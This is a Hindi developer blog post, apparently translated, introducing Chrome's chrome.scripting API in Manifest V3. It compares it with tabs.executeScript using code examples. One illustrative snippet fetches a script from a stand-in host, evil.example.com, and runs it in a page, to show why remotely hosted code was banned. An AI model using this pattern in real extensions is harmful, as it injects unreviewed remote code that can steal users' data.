पेश है chrome.scripting

मेनिफ़ेस्ट V3 में Chrome के एक्सटेंशन प्लैटफ़ॉर्म में कई बदलाव किए गए हैं. इस पोस्ट में, हम एक सबसे अहम बदलाव से हुई प्रेरणा और बदलावों के बारे में जानेंगे: chrome.scripting API का परिचय.

chrome.scripting क्या है?

जैसा कि इस नाम से ही पता चलता है, मेनिफ़ेस्ट V3 में chrome.scripting एक नया नेमस्पेस है. यह स्क्रिप्ट और स्टाइल इंजेक्शन की सुविधाओं के लिए काम करता है.

जिन डेवलपर ने पहले Chrome एक्सटेंशन बनाए हैं उन्हें chrome.tabs.executeScript और chrome.tabs.insertCSS जैसे टैब एपीआई पर, मेनिफ़ेस्ट V2 तरीकों के बारे में जानकारी हो सकती है. इन तरीकों की मदद से, एक्सटेंशन, स्क्रिप्ट और स्टाइलशीट को पेजों में इंजेक्ट कर सकते हैं. मेनिफ़ेस्ट V3 में, ये सुविधाएं chrome.scripting में उपलब्ध हैं. साथ ही, हम आने वाले समय में इस एपीआई को कुछ नई सुविधाओं के साथ उपलब्ध कराने पर काम कर रहे हैं.

नया एपीआई क्यों बनाएं?

इस तरह के बदलाव के साथ, सबसे पहले अक्सर यह सवाल उठता है कि "क्यों?"

कुछ अलग वजहों से Chrome टीम ने स्क्रिप्टिंग के लिए एक नया नेमस्पेस शुरू करने का फ़ैसला किया. पहला, Tabs API, सुविधाओं के लिए एक जंक पैनल का काम करता है. दूसरा, हमें मौजूदा executeScript API में नुकसान पहुंचाने वाले बदलाव करने थे. तीसरा, हम जानते थे कि हम एक्सटेंशन के लिए स्क्रिप्टिंग की क्षमता बढ़ाना चाहते हैं. इन समस्याओं ने एक साथ मिलकर, यह साफ़ तौर पर बताया कि हाउस स्क्रिप्टिंग के लिए नए नेमस्पेस की ज़रूरत है.

जंक पैनल

एक्सटेंशन टीम को पिछले कुछ सालों से एक समस्या यह है कि chrome.tabs एपीआई ओवरलोड है. जब इस एपीआई को पहली बार लॉन्च किया गया था, तब इसकी ज़्यादातर सुविधाएं, ब्राउज़र टैब के कॉन्सेप्ट से जुड़ी थीं. उस समय भी, यह सुविधाओं का एक कलेक्शन था और पिछले कुछ सालों में यह कलेक्शन धीरे-धीरे बढ़ा है.

मेनिफ़ेस्ट V3 के रिलीज़ होने तक, Tabs API में बेसिक टैब मैनेजमेंट, चुनने के मैनेजमेंट, विंडो को व्यवस्थित करने, मैसेज सेवा, ज़ूम कंट्रोल, बेसिक नेविगेशन, स्क्रिप्टिंग, और कुछ अन्य छोटी सुविधाओं को शामिल किया जा चुका था. हालांकि, ये सभी ज़रूरी हैं, फिर भी डेवलपर के शुरू करने के समय, यह थोड़ा मुश्किल हो सकता है. साथ ही, Chrome टीम के लिए भी यह थोड़ा मुश्किल हो सकता है, क्योंकि हम इस प्लैटफ़ॉर्म को मैनेज करते हैं और डेवलपर समुदाय के अनुरोधों पर विचार करते हैं.

गड़बड़ी की एक और वजह यह है कि tabs की अनुमति सही तरह से समझ में नहीं आई है. कई अन्य अनुमतियां, किसी एपीआई (जैसे कि storage) के ऐक्सेस पर पाबंदी लगाती हैं, लेकिन यह अनुमति थोड़ी असामान्य है, क्योंकि यह एक्सटेंशन को सिर्फ़ Tab इंस्टेंस पर मौजूद संवेदनशील प्रॉपर्टी का ऐक्सेस देती है (और एक्सटेंशन से Windows API पर भी असर पड़ता है). शायद, कई एक्सटेंशन डेवलपर को गलती से लगता है कि Tabs API पर, chrome.tabs.create या chrome.tabs.executeScript जैसे तरीकों को ऐक्सेस करने के लिए, उन्हें इस अनुमति की ज़रूरत है. Tabs API से फ़ंक्शन का इस्तेमाल बंद करने से, इस तरह की उलझन को दूर करने में मदद मिलती है.

नुकसान पहुंचा सकने वाले बदलाव

मेनिफ़ेस्ट V3 को डिज़ाइन करते समय, हम जिस मुख्य समस्या का समाधान करना चाहते थे उसमें "रिमोट तरीके से होस्ट किए गए कोड" की मदद से बुरे बर्ताव और मैलवेयर की सुविधा चालू थी. यह कोड एक्ज़ीक्यूट है, लेकिन एक्सटेंशन पैकेज में शामिल नहीं है. उपयोगकर्ताओं का डेटा चुराने, मैलवेयर इंजेक्ट करने, और पहचान से बचने के लिए, रिमोट सर्वर से फ़ेच की गई स्क्रिप्ट चलाना आम बात है. अच्छे कलाकार भी इस सुविधा का इस्तेमाल करते थे, लेकिन आखिरकार हमें लगा कि यह पहले की तरह मिलना बहुत खतरनाक था.

एक्सटेंशन, अनबंडल किए गए कोड को कई तरीकों से एक्ज़ीक्यूट कर सकते हैं. हालांकि, सबसे सही तरीका, मेनिफ़ेस्ट V2 chrome.tabs.executeScript तरीका है. यह तरीका किसी एक्सटेंशन को टारगेट टैब में कोड की आर्बिट्रेरी स्ट्रिंग चलाने की अनुमति देता है. इसका मतलब है कि नुकसान पहुंचाने वाला डेवलपर, किसी रिमोट सर्वर से आर्बिट्रेरी स्क्रिप्ट फ़ेच कर सकता है और उसे ऐसे किसी भी पेज में एक्ज़ीक्यूट कर सकता है जिसे एक्सटेंशन ऐक्सेस कर सकता है. हम जानते थे कि रिमोट कोड की इस समस्या को हल करने के लिए, हमें इस सुविधा को बंद करना होगा.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

इसके अलावा, हम मेनिफ़ेस्ट V2 वर्शन के डिज़ाइन की कुछ अन्य और छोटी-मोटी समस्याओं को भी ठीक करना चाहते थे. साथ ही, एपीआई को ऐसा टूल बनाना चाहते थे जो बेहतर हो और जिसका अनुमान लगाया जा सके.

हालांकि, Tabs एपीआई में इस तरीके के हस्ताक्षर को बदला जा सकता था, लेकिन हमें लगा कि इन नुकसान पहुंचाने वाले बदलावों और नई सुविधाओं (अगले सेक्शन में शामिल) के लॉन्च होने के बीच, सभी के लिए एक बेहतर ब्रेक होना आसान होगा.

स्क्रिप्टिंग की क्षमताएं बढ़ाई जा रही हैं

मेनिफ़ेस्ट V3 डिज़ाइन प्रोसेस में शामिल होने वाली एक चीज़ यह थी कि Chrome के एक्सटेंशन प्लैटफ़ॉर्म में स्क्रिप्टिंग की अतिरिक्त सुविधाएं शामिल की जा सकती हैं. खास तौर पर, हम डाइनैमिक कॉन्टेंट स्क्रिप्ट और executeScript तरीके की क्षमताओं को बढ़ाना चाहते थे.

Chromium में, डाइनैमिक कॉन्टेंट स्क्रिप्ट के लिए सुविधा का अनुरोध लंबे समय से किया जा रहा है. मौजूदा समय में, मेनिफ़ेस्ट V2 और V3 Chrome एक्सटेंशन, सिर्फ़ स्टैटिक तरीके से अपनी manifest.json फ़ाइल में कॉन्टेंट स्क्रिप्ट के बारे में जानकारी दे सकते हैं. यह प्लैटफ़ॉर्म, रनटाइम के दौरान नई कॉन्टेंट स्क्रिप्ट को रजिस्टर करने, कॉन्टेंट स्क्रिप्ट रजिस्ट्रेशन में बदलाव करने या कॉन्टेंट स्क्रिप्ट का रजिस्ट्रेशन रद्द करने का कोई तरीका नहीं देता.

हालांकि, हम जानते थे कि हम इस सुविधा के अनुरोध को मेनिफ़ेस्ट V3 में पूरा करना चाहते हैं, लेकिन हमारा कोई भी मौजूदा एपीआई सही होम पेज नहीं लगा. हमने उनके Content Scripts API पर Firefox को अलाइन करने के बारे में भी सोचा. हालांकि, शुरुआत में हमने इस तरीके में कुछ बड़ी कमियों के बारे में पता लगाया था. सबसे पहले, हमें पता चला कि हमारे पास काम न करने वाले हस्ताक्षर होंगे. जैसे, code प्रॉपर्टी के लिए काम न करना. दूसरा, हमारे एपीआई में डिज़ाइन से जुड़ी शर्तों का एक अलग सेट था (उदाहरण के लिए, सर्विस वर्कर के लाइफ़टाइम के बाद भी रजिस्ट्रेशन की ज़रूरत होना). आखिर में, यह नेमस्पेस हमें कॉन्टेंट स्क्रिप्ट की सुविधाओं की जानकारी भी देगा, जिनके लिए हम एक्सटेंशन में स्क्रिप्टिंग के काम को बड़े पैमाने पर करने के बारे में सोच रहे हैं.

executeScript की तरफ़, हम यह भी चाहते थे कि यह एपीआई, Tabs API के जिस वर्शन पर काम करता है उसके अलावा, यह एपीआई और क्या कर सकता है. खास तौर पर, हम फ़ंक्शन और आर्ग्युमेंट के साथ काम करना चाहते थे, ज़्यादा आसानी से खास फ़्रेम को टारगेट करना चाहते थे, और बिना "टैब" वाले कॉन्टेक्स्ट को टारगेट करना चाहते थे.

आने वाले समय में, हम इस बात पर भी विचार कर रहे हैं कि एक्सटेंशन, इंस्टॉल किए गए PWA और अन्य कॉन्टेक्स्ट के साथ कैसे इंटरैक्ट कर सकते हैं, जो सैद्धांतिक रूप से "टैब" के तौर पर मैप नहीं करते हैं.

tab.exeuteScript और scripting.executScript के बीच बदलाव

इस पोस्ट के बाकी हिस्से में, हम chrome.tabs.executeScript और chrome.scripting.executeScript के बीच समानताओं और अंतर के बारे में जानना चाहते हैं.

आर्ग्युमेंट के साथ फ़ंक्शन इंजेक्ट करना

रिमोट तरीके से होस्ट किए जाने वाले कोड से जुड़ी पाबंदियों के मामले में प्लैटफ़ॉर्म को किस तरह से बेहतर बनाया जाना चाहिए, इस पर विचार करते समय, हम आर्बिट्रेरी कोड एक्ज़ीक्यूशन और सिर्फ़ स्टैटिक कॉन्टेंट स्क्रिप्ट की अनुमति देने की रॉ ताकत के बीच संतुलन बनाना चाहते थे. इसके लिए, हमने एक्सटेंशन को कॉन्टेंट स्क्रिप्ट के तौर पर फ़ंक्शन इंजेक्ट करने और वैल्यू की अरे को आर्ग्युमेंट के तौर पर पास करने की अनुमति देने के लिए काम किया.

चलिए, एक (ज़्यादा आसान) उदाहरण पर नज़र डालते हैं. मान लें कि हम एक ऐसी स्क्रिप्ट इंजेक्ट करना चाहते हैं जिसमें उपयोगकर्ता के एक्सटेंशन के ऐक्शन बटन (टूलबार में आइकॉन) पर क्लिक करने पर उसका नाम हो. मेनिफ़ेस्ट V2 में, हम डाइनैमिक तौर पर एक कोड स्ट्रिंग बना सकते हैं और उस स्क्रिप्ट को मौजूदा पेज पर एक्ज़ीक्यूट कर सकते हैं.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

मेनिफ़ेस्ट V3 एक्सटेंशन, ऐसे कोड का इस्तेमाल नहीं कर सकता जिसे एक्सटेंशन के साथ बंडल न किया गया हो. हालांकि, हमारा मकसद ऐसे कोड को सुरक्षित रखना था जिसमें मेनिफ़ेस्ट V2 एक्सटेंशन के लिए आर्बिट्ररी कोड ब्लॉक की सुविधा चालू की गई हो. फ़ंक्शन और आर्ग्युमेंट के तरीके की मदद से, Chrome Web Store के समीक्षकों, उपयोगकर्ताओं, और इसमें दिलचस्पी रखने वाले अन्य पक्ष, एक्सटेंशन से होने वाले जोखिमों का ज़्यादा सटीक आकलन कर पाते हैं. साथ ही, डेवलपर को उपयोगकर्ता सेटिंग या ऐप्लिकेशन की स्थिति के आधार पर, एक्सटेंशन के रनटाइम के व्यवहार में बदलाव करने की सुविधा भी मिलती है.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

फ़्रेम टारगेटिंग (विज्ञापन के लिए सही दर्शक चुनना)

हम यह भी चाहते हैं कि डेवलपर, बदले गए एपीआई में मौजूद फ़्रेम के साथ कैसे इंटरैक्ट करें. executeScript के मेनिफ़ेस्ट V2 वर्शन की मदद से, डेवलपर किसी टैब के सभी फ़्रेम या टैब में मौजूद किसी खास फ़्रेम को टारगेट कर सकते थे. किसी टैब में मौजूद सभी फ़्रेम की सूची पाने के लिए, chrome.webNavigation.getAllFrames का इस्तेमाल किया जा सकता है.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

मेनिफ़ेस्ट V3 में, हमने विकल्प ऑब्जेक्ट में मौजूद frameId पूर्णांक की वैकल्पिक प्रॉपर्टी को, पूर्णांकों की वैकल्पिक frameIds कैटगरी से बदल दिया. इससे, डेवलपर को एक एपीआई कॉल में कई फ़्रेम टारगेट करने की सुविधा मिलती है.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

स्क्रिप्ट इंजेक्शन के नतीजे

हमने मेनिफ़ेस्ट V3 में, स्क्रिप्ट इंजेक्शन के नतीजे दिखाने के तरीके को भी बेहतर बनाया है. "नतीजे", स्क्रिप्ट में आकलन किया गया बुनियादी तौर पर आखिरी स्टेटमेंट होता है. इसे ऐसे वैल्यू के तौर पर देखें जो eval() को कॉल करने या Chrome DevTools कंसोल में कोड के ब्लॉक को एक्ज़ीक्यूट करने पर मिलती है. हालांकि, इसे सभी प्रोसेस में नतीजों को पास करने के लिए, क्रम से लगाया जाता है.

मेनिफ़ेस्ट V2 में, executeScript और insertCSS सामान्य एक्ज़ीक्यूशन नतीजों की एक कैटगरी दिखाएंगे. अगर आपके पास सिर्फ़ एक इंजेक्शन पॉइंट है, लेकिन एक से ज़्यादा फ़्रेम में इंजेक्ट करते समय नतीजे के क्रम की गारंटी नहीं है, तो यह बताने का कोई तरीका नहीं है कि कौनसा नतीजा किस फ़्रेम से जुड़ा है.

बेहतर उदाहरण के लिए, मेनिफ़ेस्ट V2 और उसी एक्सटेंशन के मेनिफ़ेस्ट V3 वर्शन से मिले results कलेक्शन पर नज़र डालते हैं. एक्सटेंशन के दोनों वर्शन एक ही कॉन्टेंट स्क्रिप्ट इंजेक्ट करेंगे और हम एक ही डेमो पेज पर नतीजों की तुलना करेंगे.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

मेनिफ़ेस्ट V2 वर्शन को चलाने पर, हमें [1, 0, 5] का कलेक्शन मिलता है. कौनसा नतीजा मुख्य फ़्रेम के हिसाब से है और कौनसा iframe के लिए है? रिटर्न वैल्यू से हमें कोई जानकारी नहीं मिलती. इसलिए, हमें इस बारे में पक्के तौर पर नहीं पता.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

मेनिफ़ेस्ट के V3 वर्शन में, अब results में सिर्फ़ आकलन के नतीजों के कलेक्शन के बजाय, नतीजे से जुड़े ऑब्जेक्ट का कलेक्शन होता है. नतीजे से जुड़े ऑब्जेक्ट, हर नतीजे के लिए फ़्रेम के आईडी की साफ़ तौर पर पहचान करते हैं. इससे डेवलपर के लिए, नतीजे का इस्तेमाल करना और किसी खास फ़्रेम पर कार्रवाई करना काफ़ी आसान हो जाता है.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

आखिर में खास जानकारी

मेनिफ़ेस्ट वर्शन के बंप, एक्सटेंशन एपीआई के इस्तेमाल पर फिर से विचार करने और उन्हें आधुनिक बनाने का खास मौका देते हैं. मेनिफ़ेस्ट V3 का हमारा लक्ष्य, एक्सटेंशन को सुरक्षित बनाकर असली उपयोगकर्ता के अनुभव को बेहतर बनाना है. साथ ही, डेवलपर के अनुभव को भी बेहतर बनाना है. मेनिफ़ेस्ट V3 में chrome.scripting को लॉन्च करने से, हमें Tabs API का इस्तेमाल करने में मदद मिली. साथ ही, हमने executeScript को ज़्यादा सुरक्षित एक्सटेंशन प्लैटफ़ॉर्म बनाने के लिए, इसका नया रूप दिया. साथ ही, इस साल के आखिर में लॉन्च की जाने वाली स्क्रिप्ट की नई सुविधाओं के लिए बुनियादी काम किया जा सका.